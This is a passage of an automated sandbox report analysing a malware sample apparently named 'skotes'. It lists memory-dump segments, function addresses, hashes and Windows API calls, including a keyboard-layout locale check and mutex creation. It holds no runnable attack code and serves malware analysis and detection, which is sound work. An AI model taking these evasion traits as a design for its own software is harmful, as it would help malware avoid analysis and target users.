Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: efe6b3ba232c9fc3ddc5813fa1ea38f78d237f36d73cf7f92ae4bf5bd6fa4827
Instruction ID: 837d1472b4bd695bab28f3f0d9fd3fe3db6f58ab6500a81d33d282bf1aeee720
Opcode Fuzzy Hash: efe6b3ba232c9fc3ddc5813fa1ea38f78d237f36d73cf7f92ae4bf5bd6fa4827
Instruction Fuzzy Hash: 72B18B71A002689FDB24DB54CC85BDEB7B9AF45340F5402D8E508E72D1DB74ABE88F94

Function 00941ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00941775: CreateFileW.KERNEL32(00000000,00000000,?,00941B65,?,?,00000000,?,00941B65,00000000,0000000C), ref: 00941792

__dosmaperr.LIBCMT ref: 00941BD7
GetFileType.KERNEL32(00000000), ref: 00941BE3
__dosmaperr.LIBCMT ref: 00941BF6
__dosmaperr.LIBCMT ref: 00941D9C

Strings

H, xrefs: 00941D21

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: cb4aa31f10efbe724903da09c668ba1b09387750dc583dcbd4a11eeb5750e5f8
Instruction ID: 425d399698908c39f09b3262055520f3e9ee99923113c976f87fb72d610905ad
Opcode Fuzzy Hash: cb4aa31f10efbe724903da09c668ba1b09387750dc583dcbd4a11eeb5750e5f8
Instruction Fuzzy Hash: 25A13772A181488FCF29AF68CC91BAE7BA5EB46324F14019DF851EB2D1D7349C42CB91

Function 00908380 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00908524

Strings

`, xrefs: 00908412
, xrefs: 0090843F

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: `$
API String ID: 1721193555-12876440
Opcode ID: 57fc9be92223d4e4ec4df7737a44ddfdaef7c456d063ea55a299f9a0c341e7af
Instruction ID: 7c93c766b2d9dd2cfe37b50b83d47b71b9b190805c51077cca9f21098bef96d5
Opcode Fuzzy Hash: 57fc9be92223d4e4ec4df7737a44ddfdaef7c456d063ea55a299f9a0c341e7af
Instruction Fuzzy Hash: 5251F470E142189FEB24EB68CD857DEB779DB86314F5042E8E448A72C1EF349A848F91

Function 00907590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,707E67F5,?,00000000,00949138,000000FF), ref: 009075CC
CreateThread.KERNEL32(00000000,00000000,00907430,00968638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 009076BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009076C9

Part of subcall function 0091D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0091D17B

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 22f4d122e0112ed4eb79c15a732d1044a89da918d4248c69ae2392d369e7ed1d
Instruction ID: 1cf4ed7f5d92ea8eed591f4e63bd4f6740ddfa84156922f0237b620dd9ad7012
Opcode Fuzzy Hash: 22f4d122e0112ed4eb79c15a732d1044a89da918d4248c69ae2392d369e7ed1d
Instruction Fuzzy Hash: E55101B0615248AFEB14CF28CC85B9E7BA5EB85318F50461DF815872E1CBBAA480CB91

Function 00936FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00936EE6), ref: 00936FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00937030
__dosmaperr.LIBCMT ref: 009370C5

Part of subcall function 0093732A: __dosmaperr.LIBCMT ref: 0093735F

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 6145dd3f34b52f551d2e36b0fab200c7174ebf3b5d1c8d02a65f72087f21739f
Instruction ID: c7d0429f36f1c8efcc239b513d9fc95f1b4870f61fab53c8c508ab169f659b3e
Opcode Fuzzy Hash: 6145dd3f34b52f551d2e36b0fab200c7174ebf3b5d1c8d02a65f72087f21739f
Instruction Fuzzy Hash: D2413CB6904204ABDB38AFF5D841AABFBF9EF89300F104929F956D3211E6349940DF61

Function 00909BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00909BA8
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
